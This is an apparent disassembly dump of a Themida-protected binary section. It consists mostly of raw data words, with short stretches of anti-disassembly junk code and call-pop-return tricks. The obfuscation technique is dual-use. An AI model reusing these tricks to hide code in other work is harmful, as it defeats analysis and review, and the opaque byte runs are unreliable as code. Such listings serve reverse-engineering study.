		dd 0FA21458Dh, 0D9BD8307h, 7FA2Bh, 40A840Fh, 0BE90000h
		dd 0E1000000h, 35235E9Fh, 0E0029E57h, 0BD83C81Ah, 7FA2BD9h
		dd 8840F01h, 0F000004h,	68Fh, 1B58900h,	8907FA2Ch, 0FA16F985h
		dd 0D9BD8307h, 307FA2Bh, 3B3860Fh, 0A3BB0000h, 60419E83h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B7C35545h
		dd 0FCA6EA0Eh, 6E9h, 0A30EAE00h, 66CAD25Bh, 12E9D98Ch
		dd 0D8000000h, 730CBB7Ah, 0F1392302h, 0F70BF796h, 3A598EE6h
		dd 4E180ABh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	16C35343h, 0A98DA3E8h, 63366E1Eh, 0EE9h, 7834F200h
		dd 15F750F4h, 0A8BC46E7h, 0AE06F61h, 18840FC9h,	6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 906DC355h, 0B463A8FEh, 0CE8FAh, 69430000h
		dd 4BA61383h, 0C6E14BDh, 295B6234h, 0FA169D85h,	0E9858B07h
		dd 6A07FA0Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 8D59C357h, 1312A8F7h, 0C1BD8960h
		dd 6607FA2Eh, 3361F98Bh, 0FA15E185h, 0BF50F907h, 146E02BCh
		dd 60240489h, 29D88B66h, 0FA29A995h, 6A6107h, 0B3DF0E68h
		dd 21890FC9h, 50000000h, 10E852h, 0BCD10000h, 6DF99D3Dh
		dd 0EC12C3CBh, 125EECA1h, 0F5F13B9h, 0AAE0BF31h, 585A2C36h
		dd 0F1240481h, 0F5366B24h, 1CE995FFh, 0FE807FAh, 0DD000000h
		dd 3CA572C9h, 32823AC6h, 40AF39C9h, 870FAB03h, 1, 85895BF8h
		dd 7FDEB96h, 2341BF66h,	1CDE9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0EFBCDB1Eh
		dd 89959582h, 0FA10F985h, 8BCDB707h, 0FDEB8E85h, 81665707h
		dd 5BE21FC7h, 0A8EDC781h, 0C75046h, 18h, 2BF5BD01h, 0BD8B07FAh
		dd 7FA01FDh, 0EB92B58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 879C1C3h, 8BF4DA16h
		dd 0FA1BE5BDh, 51858B07h, 6A07FA0Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C8B3C353h
		dd 0F2EF6CCAh, 0FF5780Ah, 0C84h, 7E900h, 42390000h, 0CE983908h
		dd 6A0689B3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 5E8EC351h, 0EB3F57DCh,	0D936F466h
		dd 811BD8Bh, 858B07FAh,	7FA0FE9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 3BC35646h, 9BDEE982h, 6616BC14h
		dd 4689FA8Bh, 11858904h, 9607FA2Eh, 14E85250h, 6B000000h
		dd 0DAE26930h, 0E9B68718h, 0A5E073CAh, 0C5B557A2h, 5B21B031h
		dd 585A310Fh, 79BB6650h, 6A96C9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0A16E23C3h, 0DA8B661Eh
		dd 0EB8EB5FFh, 6A07FDh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0C7544BC3h, 68BDB31Bh, 6C4C264Ah
		dd 0CE9h, 2B70CC00h, 14E77DAh, 0F745EDF8h, 24348170h, 6C5325B5h
		dd 1BF5BD01h, 858D07FAh, 7FDEB96h, 10799D8Bh, 895007FAh
		dd 66572404h, 0DD4EEB81h, 0E995FF5Bh, 6607FA1Ch, 8961FA8Bh
		dd 0FA2511B5h, 0D985C707h, 307FA2Bh, 0F000000h
		dd 0BD83FEBFh, 7FDEB96h, 4A840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 3D58C357h, 9D29CD01h, 7FA2AA1h, 3BE9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 4713B226h, 0C3050E2h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 34C35343h, 6A734361h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0B427C357h
		dd 3D38542Eh, 8B80EB80h, 0FA1D3D9Dh, 0C1858907h, 8307FA22h
		dd 0FA2BD9BDh, 850F0307h, 3EAh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 51C35646h, 96BD83DAh, 7FDEBh
		dd 3C0840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 6D5D31C3h, 9D89AEE7h, 7FA2E11h
		dd 0B5FF5F56h, 7FDEB96h, 0B860Fh, 8C0F0000h, 5,	571B0DBFh
		dd 4595FF7Eh, 6A07FA27h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0D613C352h,	0C979B0F9h
		dd 0B58BFA8Bh, 7FDEB8Ah, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 1EC35646h, 0D6ED1B7Bh, 3AB5CA63h, 14E9h
		dd 0F48E5B00h, 49FA819Eh, 2BF933A0h, 563520DDh,	36D6A6F4h
		dd 106C71Bh, 66000100h,	8B50FA8Bh, 243489DFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E4C35242h, 0A0DE6CABh
		dd 0BD95897Eh, 0E807FA18h, 7, 39AEB283h, 5B57D7D6h, 0EB96B5FFh
		dd 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 35BF7DC3h, 0FF20C6C7h, 0FA18E195h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 7585899Dh, 8B07FA1Fh, 0FDEB8AB5h, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 15F750F4h
		dd 8BDA8BE7h, 0FA1C7D85h, 0CD858907h, 8907FA01h, 0C486h
		dd 0D9958B00h, 0F07FA1Ch, 984h,	3800F00h, 0F000000h, 0C283FABFh
		dd 55B50904h, 8907FA01h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 1514D2C3h, 0B4B1CE66h
		dd 0FC359E40h, 0FEF7858Dh, 0BB6607FDh, 86897400h, 0B8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C4C35242h
		dd 8B006A19h, 96B5FFDAh, 6A07FDEBh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0FF1AC353h
		dd 890FCFBAh, 6, 0BEB9CB81h, 95FF53CCh,	7FA1C95h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3FC35545h, 0BD8BEC08h
		dd 7FA17D5h, 0CEB4DB81h, 0B7505C68h, 243489C1h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6C35545h, 0D87B5C9h
		dd 0B31AD34h, 0FA30F59Dh, 96B5FF07h, 0FF07FDEBh, 0FA1D9595h
		dd 39BD8B07h, 5607FA01h, 0BD59D8Bh, 835B07FAh, 0FA0131BDh
		dd 840F0007h, 42h, 17199D31h, 0F9607FAh, 28Ah, 50FAB700h
		dd 8B665250h, 0F310FF9h, 89h, 96585A00h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 68C35747h, 66B7215Bh
		dd 0B5FFD88Bh, 7FDEB96h, 1A880F60h, 0E8000000h,	14h, 0A2D4162h
		dd 0AC1F96E9h, 0ACD438D5h, 0FEC317B8h, 0BD3148F9h, 5E85Bh
		dd 0BFF10000h, 0B1051B53h, 0FF6158A7h, 0FA1CB595h, 89BD8B07h
		dd 0FF07FA00h, 0FDEB96B5h, 0AD95FF07h, 8B07FA21h, 0FA26A99Dh
		dd 21BD8307h, 207FA22h,	54840Fh, 0BD330000h, 7FA3445h
		dd 1615858Bh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 56A54CC3h, 0C601A4h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F8BE79h, 9ABB6656h,	85C75F02h, 7FA16DDh, 0
		dd 0EE8h, 0B6417D00h, 934CE2F3h, 57D2368Fh, 60134FA5h
		dd 3CB7D08Bh, 50E95B61h, 89FFFFF3h, 0FA180D85h,	6AC18B07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 134C350h,	7C53B266h, 0F2F978DFh, 1CED8D09h
		dd 858D07FAh, 7FA0199h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 63C35343h, 422DC92Eh,	5626BF50h, 4893B99h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 80115843h, 6ADCE7h, 6AD8B70Fh, 0A7858D00h
		dd 8307FF48h, 816605C0h, 5081C0C3h, 31240489h, 0FA21718Dh
		dd 95895307h, 7FA0099h,	6A006A5Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2B82C352h
		dd 0B77B77BFh, 9006A60h, 0FA29659Dh, 0E995FF07h, 6A07FA2Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0D86C351h, 1579E43Dh, 5677E381h, 8D8D188Ah
		dd 7FDD711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0B9C35343h, 8BEED422h, 0FA0FB59Dh, 0E8D1FF07h
		dd 11h,	61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh, 0C5BD8BA3h
		dd 5B07FA15h, 33EDBD83h, 0F0107FAh, 0C385h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0B0198F7Ch, 61606052h, 850F5F61h, 1Fh, 13E8h, 0F8669700h
		dd 33821518h, 1B747AC3h, 6E639A74h, 1DCB07E1h, 31D1BD09h
		dd 6A5F07FAh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 897AFCBFh, 0FA182D95h, 81665007h
		dd 5F86B5DFh, 0BE95690h, 0B8000000h, 11D7C0A1h,	8A53C03Dh
		dd 505FEA6Eh, 958DBB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 26523554h, 0C3A25966h
		dd 0BD29551Bh, 7FA0B9Dh, 1C9595FFh, 0DE8B07FAh,	0DBFE9h
		dd 0E800h, 815D0000h, 0FF48B1EDh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0D5B22849h
		dd 6ADEAB2Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0D4B8C353h, 0B501692Ch, 7FA07C9h
		dd 1C49BD31h, 858D07FAh, 7FDB959h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0DBC35747h,	663103A6h, 9D8B9AA2h
		dd 7FA0F9Dh, 79B75090h,	0FF64F890h, 35h, 0F1B58900h, 6407FA33h
		dd 2589h, 85090000h, 7FA02D1h, 104985FFh, 0FF6A07FAh, 0FFFFBF0Fh
		dd 0FA0E71B5h, 83BB6607h, 0EE96069h, 0C3000000h, 0ED427C28h
		dd 35B7EF97h, 0F05B2953h, 0D0816632h, 0FF6131A3h, 0FA287595h
		dd 0FAE907h, 8D090000h,	7FA10F5h, 6E800B0h, 14000000h
		dd 0B1CC1692h, 55BD8B4Ah, 5F07FA26h, 816670E6h,	0E4D232DBh
		dd 19D8971h, 8107FA28h,	819C6ACBh, 0F613C76h, 0C383h, 79850100h
		dd 0F07FA10h, 5160C8B6h, 16318D8Bh, 615807FAh, 6BAh, 0F88B6600h
		dd 6660C18Bh, 1332EF81h, 32859523h, 0C16107FAh,	0CB8104E8h
		dd 4F53518Ah, 0E9E2F766h, 9, 6B49077Fh,	4A1B426Ah, 0C82BFCAFh
		dd 33799589h, 0D18B07FAh, 0E9FEB70Fh, 6Ch, 4C858BFCh, 3505F4Ch
		dd 0FA2B21BDh, 0FBBF0F07h, 3307C083h, 0FA1045BDh, 0C08307h
		dd 0FD03BF9h, 0D83h, 19D2B00h, 0E907FA22h, 3Ch,	8D8B4FB3h
		dd 0FFFFFFFFh, 0DFD9D8Bh, 0E18307FAh, 25840F01h, 80000000h
		dd 0A5838ECBh, 0FFFFFFFFh, 5E9FEh, 0D2BB0000h, 8937F2EAh
		dd 5F4C4C95h, 79BD8B50h, 0E907FA2Ch, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FEC452h]
		push	0
		push	ebp
		call	sub_5D7ED9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7ED9	proc near		; CODE XREF: Themida_:005D7ED1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5D7ED9	endp

; ---------------------------------------------------------------------------
		sahf
		push	ebx
		enter	0FFFF816Ah, 8Bh
		mov	ebp, 7FA2A59h
		push	esi
		jmp	loc_5D7F0E
; ---------------------------------------------------------------------------
		dw 128Fh
; ---------------------------------------------------------------------------
		rcr	byte ptr [esi],	0E7h
		mov	esp, ebp
		xchg	al, [edx+1Fh]
		mov	eax, 0C1F0A010h
		jl	short loc_5D7F30
		adc	al, 56h
		cmc


loc_5D7F0E:				; CODE XREF: Themida_:005D7EF5j
		pop	edi
		push	0
		push	0
		push	edx
		call	sub_5D7F1C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7F1C	proc near		; CODE XREF: Themida_:005D7F14p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5D7F1C	endp

; ---------------------------------------------------------------------------
		stosd
		xchg	al, [edi-1]


loc_5D7F30:				; CODE XREF: Themida_:005D7F09j
		inc	ecx
		and	[ecx-0Eh], ch
		xor	al, 8Bh
		mov	ebp, 7FA0B89h
		call	dword ptr [ebp+7FA1019h]
		push	ebx
		sbb	di, 0DE6h
		pop	edi
		mov	ecx, 1005h
		push	0
		push	esi
		call	sub_5D7F58
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7F58	proc near		; CODE XREF: Themida_:005D7F50p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5D7F58	endp

; ---------------------------------------------------------------------------
		pop	esi
		retf	8722h
; ---------------------------------------------------------------------------
		pusha
		cmpsb
		retf	0E183h
; ---------------------------------------------------------------------------
		cld
		push	0
		push	edx
		call	sub_5D7F7D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7F7D	proc near		; CODE XREF: Themida_:005D7F75p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5D7F7D	endp

; ---------------------------------------------------------------------------
		db 98h,	7Fh, 9Bh
		dd 0D43AE8C7h, 0AE9h, 7D2A0D00h, 7094B5C4h, 0FCCEB2E3h
		dd 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 47A3DAC3h, 29066372h, 0FA0841BDh,	0CE907h
		dd 0AED20000h, 0EBF97399h, 0D09C808h, 0D22BBEF6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h, 9407244Dh
		dd 0ADFBBF0Fh, 0E8D1C233h, 0E983D003h, 8BF47504h, 0FA18719Dh
		dd 880D07h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 180424h, 57470000h, 4F8552C3h, 0B70FD773h, 0D9958BF9h
		dd 0B307FA1Ch, 0AD8D8BA3h, 5207FA31h, 8B505BF8h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0B4C35646h,	15BB98Ah, 0FA29D985h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0EC781C6h, 0F7B3A5Ch, 0BD83FABFh, 7FA2A29h
		dd 73840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 93BC352h, 0FA1C999Dh
		dd 0B807h, 830F0000h, 6, 0B15BD8Bh, 8D8D07FAh, 7FA4F66h
		dd 13E951h, 71280000h, 0C9A501E5h, 85A360AAh, 0B947F076h
		dd 0A5B1417Eh, 0E1FF5F39h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 18C35646h, 0BD837DA3h, 7FA2BD9h, 68840F00h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0F14BC351h, 0AADC6310h, 850F65h
		dd 83000000h, 0FA2BD9BDh, 840F0107h, 44Eh, 896684BBh, 0D9BD834Ch
		dd 307FA2Bh, 406860Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0A11F41C3h, 0C8B7B59Dh
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 8F1E9869h, 0F86A6F0Bh, 0D98C66FCh, 305B589h
		dd 0E18007FAh, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 896ADED6h, 0FA2C9D9Dh
		dd 0FC90A07h, 12D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 81503AD8h, 22DE59EBh
		dd 858B5F36h, 7FA0FE9h,	1649B531h, 830F07FAh, 6, 34BDBD89h
		dd 853307FAh, 7FA15E1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 90C35141h, 0E9536090h, 7, 0EEE5FC40h
		dd 5F68AA81h, 10E85061h, 5F000000h, 0F8176773h,	0E3B63133h
		dd 9EEA1618h, 66AAA83Fh, 5F0155BFh, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0FBF99FEh
		dd 6A69ED3Fh, 0CBE66800h, 0BF66DABFh, 481BB45h,	5F381924h
		dd 11B58925h, 0FF07FA2Eh, 0FA1CE995h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 3DECCE3Bh, 9D337B4Dh, 7FA2729h, 0EB968589h, 6A07FDh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 14F310C3h, 0E985DCF4h, 0ED8529FFh, 0E907FA10h, 1C0h
		dd 244D9D8Bh, 858B07FAh, 7FDEB8Eh, 0C75FF953h, 1800h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 70318574h, 9E986h, 0D56A0000h, 54A05456h, 8B6F941Ah
		dd 0FDEB92B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 7E966h, 1ABF0000h, 0C175BA8Dh
		dd 51858B0Fh, 6A07FA0Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 1800C353h, 8B29D9CDh
		dd 0FA20619Dh, 6A068907h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 983BC357h, 2BA19D0Bh
		dd 858B07FAh, 7FA0FE9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0F6C35747h, 89F37606h, 0FA2415BDh, 0FABF0F07h
		dd 0B3044689h, 0A9B501A2h, 5007FA17h, 3489FA8Bh, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0D034AA45h, 292001E6h, 8EB5FFDAh, 6A07FDEBh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 5711C351h, 810AB51Ah, 6810Fh, 85890000h, 7FA1529h, 34498509h
		dd 0D56807FAh, 662DFB22h, 81CA06BBh, 212A2434h,	0CABF2DE4h
		dd 8D67AC24h, 0FDEB9685h, 0E3816607h, 5090CF33h, 0E860505Bh
		dd 0Ch,	807C064Ch, 1B53BFF1h, 0B6D34D05h, 7289ADBFh, 820F5B18h
		dd 13h,	0DE8h, 393D8000h, 0C05DA2FBh, 0AE426FB3h, 615E3589h
		dd 0FB8B6690h, 1CE995FFh, 0F88B07FAh, 51006A61h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0FE871h, 54680000h, 5E153C82h, 476B64D9h, 164BE1CAh
		dd 0F98B664Bh, 0D985C75Fh, 307FA2Bh, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0FDFBC352h, 0FA20D7Dh, 38Eh,	0C1E78000h, 0EB96BD83h
		dd 0F0007FDh, 2B84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 4CECCF9Ah, 21E9F5h, 95290000h
		dd 7FA2181h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FCCC351h, 689h, 559D8B00h, 6607FA2Bh
		dd 8362B4BFh, 0FA2BD9BDh, 850F0307h, 46Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4C35646h, 900E1D33h
		dd 6E9h, 99DA2D00h, 0E9F506C7h,	9, 0DEE3FC96h, 0BDBC512Dh
		dd 96BD83AFh, 7FDEBh, 424840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FF7D97C3h
		dd 0FDEB96B5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0BD89514Ch, 7FA1149h
		dd 0DA8B665Bh, 274595FFh, 9E907FAh, 18000000h, 220FD621h
		dd 53D1D8DAh, 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0B9D473C3h, 2D99BD8Bh
		dd 6C707FAh, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0D8C35545h, 0E3A87EEEh, 60CA39EAh, 31158D8Bh
		dd 0E68007FAh, 0F9661CAh, 288h,	505F5000h, 58F0Fh, 0D3BB0000h
		dd 963B2021h, 1F9BD23h,	850F07FAh, 2, 0B5FFD98Bh, 7FDEB96h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8BC35545h
		dd 2D2DA2EBh, 0A943F7DEh, 1C1622BBh, 0E195FF4Dh, 0F07FA18h
		dd 0B58BDABFh, 7FDEB8Ah, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0B0C35343h
		dd 0BAB695Bh, 0FA338DBDh, 7D858B07h, 8907FA1Ch,	0C486h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 64A044C4h, 0E8D430C0h, 14h, 25A11716h, 96C72967h
		dd 0E8A0187Dh, 298EF69Dh, 3B62F988h, 18860Fh, 12E80000h
		dd 1C000000h, 10F24D6Ah, 1EA6AC3Ah, 0D917DE4Dh,	6D2316B3h
		dd 8B5F5F5Dh, 0FA1CD995h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0A416FAECh
		dd 6B7A28C1h, 38BBD00Dh, 831AB6E2h, 6A04C2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C563C7C3h
		dd 3146D29Fh, 95899173h, 7FA287Dh, 0E9205089h, 0Bh, 0F64E1245h
		dd 140D6779h, 0F2B9E3Eh, 0D8Eh,	8E900h,	0FC030000h, 0AA54B0DEh
		dd 858DE3CDh, 7FDFEF7h,	0FFBB70Fh, 1684h, 11E900h, 0A8A20000h
		dd 0B6730097h, 17783EDh, 66353047h, 899BFCEEh, 0B886h
		dd 319D8B00h, 6A07FA17h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 5B4A5F5Ch, 0F8926A5Bh
		dd 0EE8h, 3E019C00h, 949F77E1h,	0B0FC7DD2h, 89493202h
		dd 0FA201985h, 0B5FF5F07h, 7FDEB96h, 0FFDABF0Fh, 0FA1C9595h
		dd 199D8B07h, 5007FA20h, 10E9h,	0AE268A00h, 0BD9460A5h
		dd 0C401A237h, 83F19C39h, 2434895Bh, 14E8h, 0B60BF800h
		dd 1FF5F955h, 15E92B35h, 9160C899h, 2F00BA2h, 23BF66F2h
		dd 0B5FF5FC5h, 7FDEB96h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 5C35242h, 50911EE2h, 952911AAh, 7FA28E9h
		dd 1D9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8340BDC3h, 0FA0131BDh, 840F0007h
		dd 12h,	0E958D89h, 509607FAh, 5BF98B52h, 64B6BB96h, 0B5FF7F58h
		dd 7FDEB96h, 0D719D8Bh,	4AB707FAh, 1CB595FFh, 0BD8B07FAh
		dd 7FA17EDh, 2581BD8Bh,	0B5FF07FAh, 7FDEB96h, 891B529h
		dd 95FF07FAh, 7FA21ADh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 32C35545h, 0C810D0EEh, 0CFB9A621h, 55BB6695h
		dd 21BD83B5h, 207FA22h,	42840Fh, 0E3810000h, 711358FAh
		dd 16E18589h, 858B07FAh, 7FA1615h, 28B0Fh, 0FE8A0000h
		dd 6A0000C6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0B126C357h, 1549099Ch,	0C8AC0479h
		dd 16DD85C7h, 7FAh, 830F0000h, 12h, 6E8h, 7D2D7200h, 0B538D7Dh
		dd 0FA27899Dh, 1BE95F07h, 6AFFFFF3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3E12C353h
		dd 1950B68Ch, 8D89C383h, 7FA2639h, 4EB7C18Bh, 199858Dh
		dd 90F907FAh, 52502DB3h, 10E9905Bh, 79000000h, 0AEA51422h
		dd 0A082102Ah, 5D9F3672h, 6A4AB9BBh, 6AF500h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8CC35040h, 0B959D8Bh
		dd 858D07FAh, 7FF57CBh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 4EC35343h, 806F812Dh,	83DC922Ah, 8B5005C0h
		dd 50505BF8h, 80EBB52h,	310F6569h, 0B0BF5250h, 0F7BB0A8h
		dd 0C41ABF31h, 585A51DDh, 489585Ah, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 542CF14Fh
		dd 0FB8B7936h, 6ADC8Ah,	2B398D89h, 6A07FAh, 7EF789BFh
		dd 0D98B664Fh, 2BE995FFh, 0BF0F07FAh, 118D8DFEh, 0F07FDD7h
		dd 689h, 219D8B00h, 0FF07FA2Ch,	0AE9D1h, 0F1BC0000h, 0D56564A3h
		dd 0F88AED87h, 83F98B66h, 0FA33EDBDh, 850F0107h, 54h, 3B7026Ah
		dd 0DA8B6690h, 0BF669050h, 95FFD3E3h, 7FA1C95h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1EC35343h, 0A485B9CCh
		dd 0E8633BAEh, 0Bh, 73C3FA63h, 4FC9308Bh, 0FF02D77h, 68Bh
		dd 6D9D8B00h, 5B07FA20h, 0D37E9h, 0E800h, 815D0000h, 0FF57D5EDh
